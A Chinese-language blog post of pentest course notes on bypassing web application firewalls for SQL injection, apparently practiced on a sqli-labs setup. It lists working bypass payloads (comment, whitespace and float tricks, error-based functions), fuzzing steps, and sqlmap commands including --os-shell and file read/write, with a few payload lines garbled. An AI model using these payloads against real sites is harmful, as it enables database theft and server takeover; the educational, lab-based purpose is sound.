WAF的介绍与WAF绕过原理

WAF 是什么?全称 Web Application Firewall (WEB 应用防护系统),与传统的 Firewall (防火墙) 不同,WAF 针对的是应用层。

安全是一个不断对抗的过程,有防护手段,就有相应的绕过手段。

渗透测试过程中,WAF 是必定会遇到的,如何绕过 WAF 就是一个问题。

WAF 绕过的手段千变万化,分为 3 类

  • 白盒绕过
  • 黑核绕过
  • Fuzz绕过

以下以 SQL 注入过程 绕 WAF 为例列举需要的知识点。

  • 熟练掌握 MySQL函数和语法使用方法
  • 深入了解中间件运行机制
  • 了解 WAF 防护原理及方法

做到这三点,即可做到随心所欲的绕过 WAF 的保护。

白盒绕过

blacklist 大概的意思是对 andor进行过滤,且不论大小写,均替换为空.

如果绕过:

  • 大小写变形:Or,OR,oR
  • 等价替换:and → && ,or → ||
  • ……(例如 OorR)

白盒下的绕过主要针对源码进行审计,分析函数功能,构造特定的包进行绕过。

黑盒绕过

  • 架构层绕过 WAF
    • 寻找源站(针对云 WAF)
    • 利用同网段(绕过防护区域:例如WAF部署在同一网段的出口,使用网段的主机进行攻击,流量不经过WAF 。)
    • 理解边界漏洞(绕过防护区域:例如利用 SSRF 对其内部进行测试)
  • 资源限制角度绕过 WAF
    • POST大 BODY
  • 协议层面绕过 WAF 的检测
    • 请求方式变换:GET 变为 POST
    • Content-Type 变换:application/x-www-form-urlencoded;multipart/form-data;
    • 参数 污染(在服务器交互的过程中,Http 允许 get 或者post 多次传同一个参数值,造成覆盖,配合WAF 解析的先后规则有可能绕过 WAF 的防护)
    • 协议未覆盖绕过 WAF
  • 规则层面的绕过(主要的绕过方式,本课程的重点)

SQL注释符的绕过

union/**/select #Level-1
union/*aaaa%01bbs*/select #Level-2
union/*aaaaaaaaaaaaaaaaaaaaaaaa*/select #Level-3
/*!xxx*/ #内联注释

空白符绕过

%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/ #MySQL空白符
%09,%0A,%0B,%0D,%20 #正则的空白符
union%250Cselect #Example-1 (%25=% %0c=空白符)
union%25A0select #Example-2

函数分割符号

concat%2520()
concat/**/()
concat%250c()
concat%250()

浮点数词法解析

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9.0

利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略)

extractvalue(1, concat(0x5c,md5(3)))
updatexml(1, concat(0x5d,md5(3)),1); GeometryCollection((select*from(selectlrom(select@@version)f)x)) polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygonO()

MySQL 特殊语法

MYSQL1nigth Oselect{x table_name}from{x information_schema.tables};

Fuzz绕过

上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破WAF的方式,就需要Fuzz的过程,Fuzz 在软件测试领域,一般指”模糊测试“。

你说了那么多,不就是瞎猫碰死耗子吗?

漏洞对我们来说是未知的,能绕过规则的语句也是未知的,人无法尝试所有的输入,盲目猜测是没有意义且低效。

简单的Fuzz看起来就像是枚举,更为复杂的Fuzz则生成了那些概率极低的偶然事件,而这,就是我们想要的答案。

下面搭建(phpStudy 2018 +某狗)sqli-labs环境进行测试(某狗的CC防护和IP黑名单功能关闭,只开启HTTP防护)。

正常的SQL注入测试流程发现加\'之后报错推测有SQL注入,进一步使用语句测试发现触发WAF,查看拦截日志也能查看到记录。

下面使用Burpsuite 的模块实现Fuzz。这里以在语句中注释符为例。

  • 最基本的:union/**/select
  • 测试引入中间特殊字符:union/*aaa%01bbx*/select
  • 测试注释长度:union/*aaaaaaaaaaaaaaa*/select

设置payload的过程如下,生成字典只用了几个字符。

本地机器线程无所畏惧,很快的结果就出来了。

看到不同长度的响应,有Fuzz出语句了吗?这样的语句不一定能用,如果绕过waf的规则语句无法正确执行,也是没用的。

很遗憾的是我这里最后得到的语句即使过狗也无法正确执行,不然我都就能演示如何过狗呢。我说说后续如何进行的,最后得到的Fuzz结果是一个固定的格式,后续SQL注入语句中将特征进行替换即可。后续可能还会出现一个问题,函数如何绕过,对函数进行变形或者利用中间件解析特性。

有前辈指出,这种Fuzz方式的本质都是对正则的逃逸,仔细想想,不无道理。

WAF是如何防护的?“ WAF基于对http请求的分析,识别恶意行为,执行相关的阻断、记录、放行等”。

WAF如何分析http请求?http是一种文本协议,一般现代WAF采用的是正则表达式做规则,“ 正则表达式的语法和文本协议的复杂逻辑允许替换等价的结构和使用不同的符号表示 , 在创建这些规则时会导致错误。“

而上述的绕过都是WAF的正则无法匹配,错误的进行的放行,导致绕过WAF的发生。

SQLmap的tamper

sqlmap相信不用我多介绍,只需要记得两个选项帮组你记忆。

sqlmap -h #帮助选项
sqlmap -hh #更为详细的帮组选项

常用的是以下语句

sqlmap -u "http://wuhash.ml/Less-1/?id=1"  
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-db
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-user
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  -D databasename -T table -C column
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --os-shell
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --sql-shell
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --file-read
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --file-write 本地文件 --file-dest 目标目录及文件

tamper脚本存放于sqlmap安装目录下,其主要的功能是对payload进行处理以应对不同情况,其中也包括绕过WAF。笔者写下此文时,内置了116个脚本,实际上tamper脚本是一段python脚本,任意打开一段脚本,可以看到对payload进行的处理过程,脚本的核心功能为tamper函数。

使用sqlmap –list-tampers查看tamper的描述信息。

下面以sqli-labs的Less-28关为例,直接对Less-28进行sqlmap会发现无法注入,打开Less-28的源码可以看到接受的参数ID在传入SQL语句之前,经过了blacklist的处理,而blacklist的功能为对一些符号替换为空,这些符号包括(/、*、–、#、space、union+空白符+select的组合)。

打开一份tamper,复制一份,在原有的基础上进行修改,最终写出的tamper脚本如下,是不是有人黑人问号脸?

注意写出tamper的前提是已经构造出绕过,写出tamper只是将这个技巧工程化。

如何构造出绕过呢?这有回到课程一开始的话题,这里很简单,针对源码构造即可。

tamper的功能为将“unino select ”替换为“union all select”,将空白符替换为”%0a”,用以规避blacklist对参数进行的处理。

再次测试,跟上tamper脚本名,很顺利的检测到注入点。

总结

这是两节课程的笔记,这一章的绕WAF技巧都可以总结为对payload进行变形,如何变形才能成功的绕过才是关键的问题。

从防御者的角度来说,基于正则的WAF已经不足以防护,这是正则本身的缺陷,市面上已经宣称基于流量的机器学习、人工智能技术的下一代WAF出现,笔者没有工作在一线,未曾接触。

相信即使出现这样的产品,也没有绝对的安全,任何一个脆弱点带来的攻击面都会突破整个系统。

本文分享自微信公众号 - 渗透云笔记(shentouyun)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-10-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏网站漏洞修复

APP渗透测试基本内容与漏洞扫描介绍

天气越来越凉爽,在对客户网站代码进行渗透测试,漏洞测试的同时我们SINE安全渗透技术要对客户的网站源代码进行全方位的安全检测与审计,只有真正的了解网站,才能更好...

9540
来自专栏腾讯云TVP

【程序员软实力】如何构建?他坚持了2100多天,收获了这些心得

导语 | 程序员的软实力体现哪些方面?技术输出对于程序员来讲,其意义有哪些?提升软实力的主要步骤是什么?坚持每天写作,对个人来讲,其挑战有哪些?如何平衡其与本质...

4.5K1910
来自专栏数据和云

如何巧妙处理enq: TX - index contention问题?

某客户生产系统核心库在2019-08-21 23:50:00左右出现了业务告警,应用无法连接的情况。

10110
来自专栏Java3y

网络协议常见面试题

答:Http协议运行在TCP之上,明文传输,客户端与服务器端都无法验证对方的身份;Https是身披SSL(Secure Socket Layer)外壳的Http...

15470
来自专栏生信技能树

多个探针对应同一个基因取最大值的代码进化历史

最近全国巡讲的学员又问到了多个探针对应同一个基因取最大值类似的问题,我们的斯老师找到了我三年前的博客:多个探针对应一个基因,取平均值或者最大值 我看到里面的留言...

17440
来自专栏JAVA杂谈

使用Prometheus监控MySQL性能指标

这里使用--web.listen-address=":9200"修改默认启动端口,防止跟上文中启动的服务器监控冲突。

25940
来自专栏吉林乌拉

Redis中的事务管理

在之前的文章中我们已经介绍了很多关于Redis中的命令,虽然命令的执行是原子性的,但是如果多条命令组合在一起则Redis就不能保证组合命令的原子性了。并且如果我...

8010
来自专栏AustinDatabases

阴沟翻船之 MYSQL MHA 故障 SSH timeout 与 Binlog not found

MYSQL MHA 的安装估计很多地方都是自动化安装的了,流水线方式。个人安装的MHA 的集群虽然没有几百台,但基本上已经突破了三位数,按理说安装应该是不会出什...

11310
来自专栏java一日一条

五分钟搞清楚MySQL事务隔离级别

首先创建一个表 account。创建表的过程略过(由于 InnoDB 存储引擎支持事务,所以将表的存储引擎设置为 InnoDB)。表的结构如下:

6710
来自专栏安全漏洞环境学习

Joomla 3.4.6-RCE漏洞复现

Joomla是一套全球有名的CMS系统,基于PHP语言加上MySQL数据库所开发出来的WEB软件系统,目前最新版本是3.9.12。可以在多种不同的平台上部署并且...

15910

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励